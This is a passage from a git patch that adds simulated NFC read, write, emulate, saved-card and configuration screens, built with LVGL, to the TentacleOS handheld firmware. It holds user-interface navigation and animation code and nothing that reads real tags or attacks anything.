lv_obj_set_width(meta, lv_pct(100)); + lv_label_set_long_mode(meta, LV_LABEL_LONG_DOT); + lv_label_set_text_fmt(meta, "%s SAK 0x%02X", card_details(card->type), card->sak); + lv_obj_set_style_text_color(meta, text, 0); + lv_obj_set_style_text_opa(meta, LV_OPA_50, 0); + lv_obj_set_style_text_font(meta, &lv_font_montserrat_12, 0); + lv_obj_align(meta, LV_ALIGN_TOP_LEFT, 0, meta_y); + + return panel; +} + +void nfc_ui_field_create(nfc_ui_field_t *f, lv_obj_t *parent, lv_color_t color) { + for (int i = 0; i < 3; i++) { + lv_obj_t *r = lv_obj_create(parent); + lv_obj_remove_flag(r, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(r, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_style_radius(r, LV_RADIUS_CIRCLE, 0); + lv_obj_set_style_bg_opa(r, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(r, 3, 0); + lv_obj_set_style_border_color(r, color, 0); + lv_obj_set_size(r, RING_MIN, RING_MIN); + lv_obj_align(r, LV_ALIGN_CENTER, 0, 0); + f->ring[i] = r; + } +} + +void nfc_ui_field_tick(nfc_ui_field_t *f, uint32_t elapsed_ms) { + for (int i = 0; i < 3; i++) { + if (f->ring[i] == NULL) + continue; + uint32_t ph = (elapsed_ms + (uint32_t)i * (RING_PERIOD / 3)) % RING_PERIOD; + float t = (float)ph / (float)RING_PERIOD; + int size = RING_MIN + (int)(t * (RING_MAX - RING_MIN)); + lv_opa_t opa = (lv_opa_t)((1.0f - t) * 255.0f); + lv_obj_set_size(f->ring[i], size, size); + lv_obj_align(f->ring[i], LV_ALIGN_CENTER, 0, 0); + lv_obj_set_style_border_opa(f->ring[i], opa, 0); + } +} From f3b9cbda3531bb0599de61dade858e2158fdc46d Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 11:44:42 -0300 Subject: [PATCH 109/572] feat(ui): add read, write, emulate, card emulate, saved, and config screens --- .../ui/screens/nfc/include/nfc_config_ui.h | 24 ++ .../ui/screens/nfc/include/nfc_emulate_ui.h | 30 ++ .../ui/screens/nfc/include/nfc_read_ui.h | 25 ++ .../ui/screens/nfc/include/nfc_saved_ui.h | 24 ++ .../ui/screens/nfc/include/nfc_write_ui.h | 24 ++ .../ui/screens/nfc/nfc_config_ui.c | 128 +++++++++ .../ui/screens/nfc/nfc_emulate_ui.c | 187 +++++++++++++ .../Applications/ui/screens/nfc/nfc_read_ui.c | 249 +++++++++++++++++ .../ui/screens/nfc/nfc_saved_ui.c | 211 ++++++++++++++ .../ui/screens/nfc/nfc_write_ui.c | 261 ++++++++++++++++++ 10 files changed, 1163 insertions(+) create mode 100644 firmware_p4/components/Applications/ui/screens/nfc/include/nfc_config_ui.h create mode 100644 firmware_p4/components/Applications/ui/screens/nfc/include/nfc_emulate_ui.h create mode 100644 firmware_p4/components/Applications/ui/screens/nfc/include/nfc_read_ui.h create mode 100644 firmware_p4/components/Applications/ui/screens/nfc/include/nfc_saved_ui.h create mode 100644 firmware_p4/components/Applications/ui/screens/nfc/include/nfc_write_ui.h create mode 100644 firmware_p4/components/Applications/ui/screens/nfc/nfc_config_ui.c create mode 100644 firmware_p4/components/Applications/ui/screens/nfc/nfc_emulate_ui.c create mode 100644 firmware_p4/components/Applications/ui/screens/nfc/nfc_read_ui.c create mode 100644 firmware_p4/components/Applications/ui/screens/nfc/nfc_saved_ui.c create mode 100644 firmware_p4/components/Applications/ui/screens/nfc/nfc_write_ui.c diff --git a/firmware_p4/components/Applications/ui/screens/nfc/include/nfc_config_ui.h b/firmware_p4/components/Applications/ui/screens/nfc/include/nfc_config_ui.h new file mode 100644 index 000000000..9ab9c4f66 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/nfc/include/nfc_config_ui.h @@ -0,0 +1,24 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef NFC_CONFIG_UI_H +#define NFC_CONFIG_UI_H + +/** + * @brief Simulated NFC settings + an honest SPI-bus diagnostic. + */ +void ui_nfc_config_open(void); + +#endif // NFC_CONFIG_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/nfc/include/nfc_emulate_ui.h b/firmware_p4/components/Applications/ui/screens/nfc/include/nfc_emulate_ui.h new file mode 100644 index 000000000..6008b6114 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/nfc/include/nfc_emulate_ui.h @@ -0,0 +1,30 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef NFC_EMULATE_UI_H +#define NFC_EMULATE_UI_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @brief Open the NFC Emulate screen (stub list of saved cards). */ +void ui_nfc_emulate_open(void); + +#ifdef __cplusplus +} +#endif + +#endif // NFC_EMULATE_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/nfc/include/nfc_read_ui.h b/firmware_p4/components/Applications/ui/screens/nfc/include/nfc_read_ui.h new file mode 100644 index 000000000..f963e8a95 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/nfc/include/nfc_read_ui.h @@ -0,0 +1,25 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef NFC_READ_UI_H +#define NFC_READ_UI_H + +/** + * @brief Simulated tag reader: animated field scan that "finds" a tag and shows + * its UID/type/ATQA/SAK; OK saves it to the library. + */ +void ui_nfc_read_open(void); + +#endif // NFC_READ_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/nfc/include/nfc_saved_ui.h b/firmware_p4/components/Applications/ui/screens/nfc/include/nfc_saved_ui.h new file mode 100644 index 000000000..0b5a20a4f --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/nfc/include/nfc_saved_ui.h @@ -0,0 +1,24 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef NFC_SAVED_UI_H +#define NFC_SAVED_UI_H + +/** + * @brief Saved-card library: lists cards; OK shows details + delete (confirm). + */ +void ui_nfc_saved_open(void); + +#endif // NFC_SAVED_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/nfc/include/nfc_write_ui.h b/firmware_p4/components/Applications/ui/screens/nfc/include/nfc_write_ui.h new file mode 100644 index 000000000..8e09c878c --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/nfc/include/nfc_write_ui.h @@ -0,0 +1,24 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef NFC_WRITE_UI_H +#define NFC_WRITE_UI_H + +/** + * @brief Simulated tag writer: pick a saved card, animate place->write->done. + */ +void ui_nfc_write_open(void); + +#endif // NFC_WRITE_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/nfc/nfc_config_ui.c b/firmware_p4/components/Applications/ui/screens/nfc/nfc_config_ui.c new file mode 100644 index 000000000..4c29efb59 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/nfc/nfc_config_ui.c @@ -0,0 +1,128 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "nfc_config_ui.h" + +#include "lvgl.h" + +#include "buttons_gpio.h" +#include "menu_component_ui.h" +#include "msgbox_ui.h" +#include "notify_ui.h" +#include "ui_manager.h" +#include "ui_theme.h" + +#define NAV_TIMER_MS 50 + +enum { CFG_FIELD, CFG_POLL, CFG_AAT, CFG_DIAG, CFG_COUNT }; +static const char *const POLL_NAMES[] = {"Slow", "Normal", "Fast"}; +#define POLL_N 3 + +static lv_obj_t *s_screen = NULL; +static menu_component_t s_menu; +static lv_timer_t *s_nav_timer = NULL; +static int s_poll = 1; + +static bool s_up_last, s_down_last, s_ok_last, s_back_last, s_left_last, s_right_last; + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } + bool up = ui_btn_up(), down = ui_btn_down(); + bool left = ui_btn_left(), right = ui_btn_right(); + bool ok = ok_button_is_down(), back = back_button_is_down(); + + if (msgbox_is_open() || ui_input_is_locked()) { + s_up_last = up; + s_down_last = down; + s_left_last = left; + s_right_last = right; + s_ok_last = ok; + s_back_last = back; + return; + } + + int sel = menu_component_get_selected(&s_menu); + + if (back && !s_back_last) { + ui_switch_screen(SCREEN_NFC_MENU); + return; + } + if (left && !s_left_last) { + if (sel == CFG_POLL) { + s_poll = (s_poll - 1 + POLL_N) % POLL_N; + menu_component_set_selector_value(&s_menu, CFG_POLL, POLL_NAMES[s_poll]); + } else { + ui_switch_screen(SCREEN_NFC_MENU); + return; + } + } + if (right && !s_right_last && sel == CFG_POLL) { + s_poll = (s_poll + 1) % POLL_N; + menu_component_set_selector_value(&s_menu, CFG_POLL, POLL_NAMES[s_poll]); + } + if (down && !s_down_last) + menu_component_next(&s_menu); + if (up && !s_up_last) + menu_component_prev(&s_menu); + + if (ok && !s_ok_last) { + if (sel == CFG_FIELD) { + menu_component_toggle_item(&s_menu, CFG_FIELD); + } else if (sel == CFG_AAT) { + notify(NOTIFY_SAVED, "Antenna tuned"); + } else if (sel == CFG_DIAG) { + msgbox_open(LV_SYMBOL_WARNING, + "ST25R3916: no reply\nSPI3 MISO blocked\n(GPIO36 jumper) —\nrunning simulated", + NULL, + NULL, + NULL); + } + } + + s_up_last = up; + s_down_last = down; + s_left_last = left; + s_right_last = right; + s_ok_last = ok; + s_back_last = back; +} + +void ui_nfc_config_open(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + s_up_last = s_down_last = s_ok_last = s_back_last = s_left_last = s_right_last = false; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + s_menu = menu_component_create(s_screen, "NFC Config", "/assets/icons/config_icon.bin"); + menu_component_add_toggle(&s_menu, NULL, "Field on boot", false); + menu_component_add_selector(&s_menu, NULL, "Poll rate", POLL_NAMES[s_poll]); + menu_component_add_item(&s_menu, NULL, "Antenna Tune"); + menu_component_add_item(&s_menu, NULL, "Bus Diagnostic"); + + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); + + ui_screen_load(s_screen); +} diff --git a/firmware_p4/components/Applications/ui/screens/nfc/nfc_emulate_ui.c b/firmware_p4/components/Applications/ui/screens/nfc/nfc_emulate_ui.c new file mode 100644 index 000000000..405f5d297 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/nfc/nfc_emulate_ui.c @@ -0,0 +1,187 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "nfc_emulate_ui.h" + +#include "lvgl.h" + +#include "buttons_gpio.h" +#include "menu_component_ui.h" +#include "nfc_sim.h" +#include "nfc_ui_common.h" +#include "ui_chrome.h" +#include "ui_feedback.h" +#include "ui_manager.h" +#include "ui_theme.h" + +#define NAV_TIMER_MS 33 +#define CARD_ICON "/assets/icons/card_icon.bin" +#define FIELD_GREEN 0x00E676 + +enum { EM_NONE, EM_RUN }; + +static lv_obj_t *s_screen = NULL; +static menu_component_t s_menu; +static lv_timer_t *s_nav_timer = NULL; +static bool s_empty = false; + +static lv_obj_t *s_ov = NULL; +static nfc_ui_field_t s_ov_field; +static int s_em = EM_NONE; +static uint32_t s_em_start = 0; + +static bool s_up_last, s_down_last, s_ok_last, s_back_last, s_left_last, s_right_last; + +static void overlay_close(void) { + if (s_ov) { + lv_obj_del(s_ov); + s_ov = NULL; + } + for (int i = 0; i < 3; i++) + s_ov_field.ring[i] = NULL; + s_em = EM_NONE; +} + +static void overlay_start(const char *name) { + s_ov = lv_obj_create(s_screen); + lv_obj_set_size(s_ov, lv_pct(100), lv_pct(100)); + lv_obj_center(s_ov); + lv_obj_remove_flag(s_ov, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_bg_color(s_ov, lv_color_black(), 0); + lv_obj_set_style_bg_opa(s_ov, LV_OPA_90, 0); + lv_obj_set_style_border_width(s_ov, 0, 0); + + ui_chrome_header(s_ov, "EMULATE", "/assets/icons/nfc_icon.bin"); + ui_chrome_footer(s_ov, "BACK Stop"); + + lv_obj_t *nm = lv_label_create(s_ov); + lv_obj_set_width(nm, lv_pct(86)); + lv_label_set_text(nm, name); + lv_obj_set_style_text_color(nm, current_theme.text_main, 0); + lv_obj_set_style_text_font(nm, &lv_font_montserrat_14, 0); + lv_obj_set_style_text_align(nm, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_align(nm, LV_ALIGN_TOP_MID, 0, 52); + + nfc_ui_field_create(&s_ov_field, s_ov, lv_color_hex(FIELD_GREEN)); + + lv_obj_t *status = lv_label_create(s_ov); + lv_label_set_text(status, "Present to reader"); + lv_obj_set_style_text_color(status, current_theme.text_main, 0); + lv_obj_align(status, LV_ALIGN_BOTTOM_MID, 0, -34); + + s_em = EM_RUN; + s_em_start = lv_tick_get(); + ui_feedback(UI_FB_EMULATE); +} + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } + bool up = ui_btn_up(), down = ui_btn_down(); + bool left = ui_btn_left(), right = ui_btn_right(); + bool ok = ok_button_is_down(), back = back_button_is_down(); + + if (s_em == EM_RUN) { + nfc_ui_field_tick(&s_ov_field, lv_tick_get() - s_em_start); + if (back && !s_back_last) + overlay_close(); + s_up_last = up; + s_down_last = down; + s_left_last = left; + s_right_last = right; + s_ok_last = ok; + s_back_last = back; + return; + } + + if (ui_input_is_locked()) { + s_up_last = up; + s_down_last = down; + s_left_last = left; + s_right_last = right; + s_ok_last = ok; + s_back_last = back; + return; + } + + if ((back && !s_back_last) || (left && !s_left_last)) { + ui_switch_screen(SCREEN_NFC_MENU); + return; + } + + if (!s_empty) { + if (down && !s_down_last) + menu_component_next(&s_menu); + if (up && !s_up_last) + menu_component_prev(&s_menu); + if ((ok && !s_ok_last) || (right && !s_right_last)) { + int sel = menu_component_get_selected(&s_menu); + const nfc_sim_card_t *c = nfc_sim_saved_get(sel); + if (c != NULL) + overlay_start(c->name); + } + } + + s_up_last = up; + s_down_last = down; + s_left_last = left; + s_right_last = right; + s_ok_last = ok; + s_back_last = back; +} + +void ui_nfc_emulate_open(void) { + nfc_sim_init(); + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + s_ov = NULL; + for (int i = 0; i < 3; i++) + s_ov_field.ring[i] = NULL; + s_em = EM_NONE; + s_up_last = s_down_last = s_ok_last = s_back_last = s_left_last = s_right_last = false; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + int n = nfc_sim_saved_count(); + s_empty = (n == 0); + + if (s_empty) { + ui_chrome_header(s_screen, "EMULATE", "/assets/icons/emulate_icon.bin"); + ui_chrome_footer(s_screen, "BACK Back"); + lv_obj_t *msg = lv_label_create(s_screen); + lv_label_set_text(msg, "No cards to emulate.\nRead a tag first."); + lv_obj_set_style_text_color(msg, current_theme.text_main, 0); + lv_obj_set_style_text_align(msg, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_center(msg); + } else { + s_menu = menu_component_create(s_screen, "Emulate", CARD_ICON); + int cap = n > 10 ? 10 : n; + for (int i = 0; i < cap; i++) + menu_component_add_item(&s_menu, CARD_ICON, nfc_sim_saved_get(i)->name); + } + + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); + + ui_screen_load(s_screen); +} diff --git a/firmware_p4/components/Applications/ui/screens/nfc/nfc_read_ui.c b/firmware_p4/components/Applications/ui/screens/nfc/nfc_read_ui.c new file mode 100644 index 000000000..ff4fa59cd --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/nfc/nfc_read_ui.c @@ -0,0 +1,249 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "nfc_read_ui.h" + +#include + +#include "esp_random.h" +#include "lvgl.h" + +#include "buttons_gpio.h" +#include "capture_result_ui.h" +#include "keyboard_ui.h" +#include "notify_ui.h" +#include "ui_feedback.h" +#include "msgbox_ui.h" +#include "nfc_sim.h" +#include "nfc_ui_common.h" +#include "ui_chrome.h" +#include "ui_manager.h" +#include "ui_theme.h" + +#define NAV_TIMER_MS 33 +#define REVEAL_MS 3000 + +enum { ST_SCAN, ST_FOUND, ST_OPTIONS }; + +static lv_obj_t *s_screen = NULL; +static lv_obj_t *s_status = NULL; +static lv_obj_t *s_hint = NULL; +static lv_obj_t *s_card_panel = NULL; +static nfc_ui_field_t s_field; +static lv_timer_t *s_timer = NULL; +static capture_result_t s_cr = {0}; + +static int s_state = ST_SCAN; +static uint32_t s_scan_start = 0; +static uint32_t s_scan_deadline = 1800; +static uint32_t s_found_at = 0; +static nfc_sim_card_t s_card; + +static bool s_ok_last, s_back_last, s_right_last, s_up_last, s_down_last; + +static void show_rings(bool show) { + for (int i = 0; i < 3; i++) { + if (!s_field.ring[i]) + continue; + if (show) + lv_obj_remove_flag(s_field.ring[i], LV_OBJ_FLAG_HIDDEN); + else + lv_obj_add_flag(s_field.ring[i], LV_OBJ_FLAG_HIDDEN); + } +} + +static void begin_scan(void) { + s_state = ST_SCAN; + s_scan_start = lv_tick_get(); + s_scan_deadline = 1500 + (esp_random() % 1400); + if (s_card_panel) { + lv_obj_del(s_card_panel); + s_card_panel = NULL; + } + capture_result_destroy(&s_cr); + show_rings(true); + lv_obj_remove_flag(s_status, LV_OBJ_FLAG_HIDDEN); + lv_obj_set_style_text_color(s_status, current_theme.text_main, 0); + lv_label_set_text(s_status, "Searching"); + ui_chrome_footer_set_text(s_hint, "BACK Exit"); +} + +static void reveal(void) { + s_state = ST_FOUND; + s_found_at = lv_tick_get(); + nfc_sim_random_card(&s_card); + show_rings(false); + s_card_panel = nfc_ui_card_panel(s_screen, &s_card); + lv_obj_align(s_card_panel, LV_ALIGN_CENTER, 0, 10); + lv_obj_fade_in(s_card_panel, 280, 0); + lv_obj_set_style_text_color(s_status, lv_color_hex(0x00E676), 0); + lv_label_set_text(s_status, "Tag found!"); + nfc_ui_play_sound(NFC_SND_FOUND); + ui_chrome_footer_set_text(s_hint, "BACK Exit"); +} + +static void show_options(void) { + if (s_card_panel) { + lv_obj_del(s_card_panel); + s_card_panel = NULL; + } + if (s_status) + lv_obj_add_flag(s_status, LV_OBJ_FLAG_HIDDEN); + + static char uidbuf[40]; + char uid[24]; + nfc_sim_format_uid(&s_card, uid, sizeof(uid)); + snprintf(uidbuf, sizeof(uidbuf), "UID %s", uid); + + capture_result_cfg_t cfg = { + .accent = current_theme.border_accent, + .card_icon = "/assets/icons/nfc_icon.bin", + .card_title = "Tag captured", + .card_sub = s_card.type, + .card_value = uidbuf, + .primary_label = "Emulate", + .again_label = "Read again", + }; + s_cr = capture_result_create(s_screen, &cfg); + s_state = ST_OPTIONS; + ui_chrome_footer_set_text(s_hint, "UP/DOWN choose OK do BACK exit"); +} + +static void on_name_submit(const char *text, void *ud) { + (void)ud; + const char *nm = (text && text[0]) ? text : s_card.type; + snprintf(s_card.name, NFC_SIM_NAME_LEN, "%.*s", NFC_SIM_NAME_LEN - 1, nm); + bool saved = nfc_sim_add(&s_card); + if (saved) { + nfc_ui_play_sound(NFC_SND_SAVE); + capture_result_mark_saved(&s_cr); + notify(NOTIFY_SAVED, "Tag saved to library"); + } else { + notify(NOTIFY_WARNING, "Library full"); + } +} + +static void tick_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_timer = NULL; + return; + } + bool ok = ok_button_is_down(); + bool back = back_button_is_down(); + bool right = ui_btn_right(); + bool up = ui_btn_up(); + bool down = ui_btn_down(); + + if (msgbox_is_open() || keyboard_is_open() || ui_input_is_locked()) { + s_ok_last = ok; + s_back_last = back; + s_right_last = right; + s_up_last = up; + s_down_last = down; + return; + } + if (back && !s_back_last) { + ui_switch_screen(SCREEN_NFC_MENU); + return; + } + + if (s_state == ST_SCAN) { + uint32_t el = lv_tick_get() - s_scan_start; + nfc_ui_field_tick(&s_field, el); + int dots = (el / 350) % 4; + char buf[20]; + snprintf(buf, + sizeof(buf), + "Searching%s", + dots == 1 ? "." + : dots == 2 ? ".." + : dots == 3 ? "..." + : ""); + lv_label_set_text(s_status, buf); + if (el >= s_scan_deadline) + reveal(); + } else if (s_state == ST_FOUND) { + if (lv_tick_get() - s_found_at >= REVEAL_MS) + show_options(); + } else { + if (down && !s_down_last) { + capture_result_next(&s_cr); + ui_feedback(UI_FB_NAV); + } + if (up && !s_up_last) { + capture_result_prev(&s_cr); + ui_feedback(UI_FB_NAV); + } + if (ok && !s_ok_last) { + switch (capture_result_selected(&s_cr)) { + case CAP_ACT_PRIMARY: + ui_switch_screen(SCREEN_NFC_EMULATE); + return; + case CAP_ACT_SAVE: + keyboard_open(NULL, on_name_submit, NULL); + break; + case CAP_ACT_AGAIN: + begin_scan(); + break; + case CAP_ACT_DISCARD: + ui_switch_screen(SCREEN_NFC_MENU); + return; + default: + break; + } + } + } + + s_ok_last = ok; + s_back_last = back; + s_right_last = right; + s_up_last = up; + s_down_last = down; +} + +void ui_nfc_read_open(void) { + nfc_sim_init(); + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + s_card_panel = NULL; + s_cr = (capture_result_t){0}; + s_found_at = 0; + s_ok_last = s_back_last = s_right_last = s_up_last = s_down_last = false; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + ui_chrome_header(s_screen, "READ TAG", "/assets/icons/nfc_icon.bin"); + nfc_ui_field_create(&s_field, s_screen, ui_theme_get_accent()); + + s_status = lv_label_create(s_screen); + lv_label_set_text(s_status, "Searching"); + lv_obj_set_style_text_color(s_status, current_theme.text_main, 0); + lv_obj_align(s_status, LV_ALIGN_TOP_MID, 0, 52); + + s_hint = ui_chrome_footer(s_screen, "BACK Exit"); + + begin_scan(); + + if (s_timer == NULL) + s_timer = lv_timer_create(tick_cb, NAV_TIMER_MS, NULL); + + ui_screen_load(s_screen); +} diff --git a/firmware_p4/components/Applications/ui/screens/nfc/nfc_saved_ui.c b/firmware_p4/components/Applications/ui/screens/nfc/nfc_saved_ui.c new file mode 100644 index 000000000..9946a21cc --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/nfc/nfc_saved_ui.c @@ -0,0 +1,211 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "nfc_saved_ui.h" + +#include "lvgl.h" + +#include "buttons_gpio.h" +#include "nfc_sim.h" +#include "nfc_ui_common.h" +#include "ui_chrome.h" +#include "ui_manager.h" +#include "ui_theme.h" + +#define NAV_TIMER_MS 50 +#define CARD_H 122 +#define PEEK 60 + +enum { DT_NONE, DT_VIEW }; + +static lv_obj_t *s_screen = NULL; +static lv_obj_t *s_cont = NULL; +static lv_timer_t *s_nav_timer = NULL; +static lv_obj_t *s_cards[NFC_SIM_MAX_SAVED]; +static int s_count = 0; +static int s_sel = 0; +static bool s_empty = false; + +static lv_obj_t *s_ov = NULL; +static int s_detail = DT_NONE; +static int s_sel_idx = -1; + +static bool s_up_last, s_down_last, s_ok_last, s_back_last, s_left_last, s_right_last; + +static void rebuild_async(void *p) { + (void)p; + ui_nfc_saved_open(); +} + +static void relayout(void) { + for (int i = 0; i < s_count; i++) { + int y = i * PEEK; + if (i > s_sel) + y += (CARD_H - PEEK); + lv_obj_align(s_cards[i], LV_ALIGN_TOP_MID, 0, y); + lv_obj_set_style_border_width(s_cards[i], (i == s_sel) ? 3 : 1, 0); + } + int sy = s_sel * PEEK - 6; + if (sy < 0) + sy = 0; + lv_obj_scroll_to_y(s_cont, sy, LV_ANIM_OFF); +} + +static void overlay_close(void) { + if (s_ov) { + lv_obj_del(s_ov); + s_ov = NULL; + } + s_detail = DT_NONE; +} + +static void overlay_open(const nfc_sim_card_t *c, int idx) { + s_ov = lv_obj_create(s_screen); + lv_obj_set_size(s_ov, lv_pct(100), lv_pct(100)); + lv_obj_center(s_ov); + lv_obj_remove_flag(s_ov, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_bg_color(s_ov, lv_color_black(), 0); + lv_obj_set_style_bg_opa(s_ov, LV_OPA_80, 0); + lv_obj_set_style_border_width(s_ov, 0, 0); + + lv_obj_t *panel = nfc_ui_card_panel(s_ov, c); + lv_obj_align(panel, LV_ALIGN_CENTER, 0, -6); + + lv_obj_t *hint = lv_label_create(s_ov); + lv_label_set_text(hint, LV_SYMBOL_TRASH " OK = Delete BACK = Back"); + lv_obj_set_style_text_color(hint, current_theme.text_main, 0); + lv_obj_set_style_text_opa(hint, LV_OPA_70, 0); + lv_obj_set_style_text_font(hint, &lv_font_montserrat_12, 0); + lv_obj_align(hint, LV_ALIGN_BOTTOM_MID, 0, -10); + + lv_obj_fade_in(s_ov, 220, 0); + s_detail = DT_VIEW; + s_sel_idx = idx; +} + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } + bool up = ui_btn_up(), down = ui_btn_down(); + bool left = ui_btn_left(), right = ui_btn_right(); + bool ok = ok_button_is_down(), back = back_button_is_down(); + + if (s_detail == DT_VIEW) { + if (back && !s_back_last) { + overlay_close(); + } else if (ok && !s_ok_last) { + nfc_sim_remove(s_sel_idx); + overlay_close(); + lv_async_call(rebuild_async, NULL); + } + goto save; + } + + if (ui_input_is_locked()) + goto save; + + if ((back && !s_back_last) || (left && !s_left_last)) { + 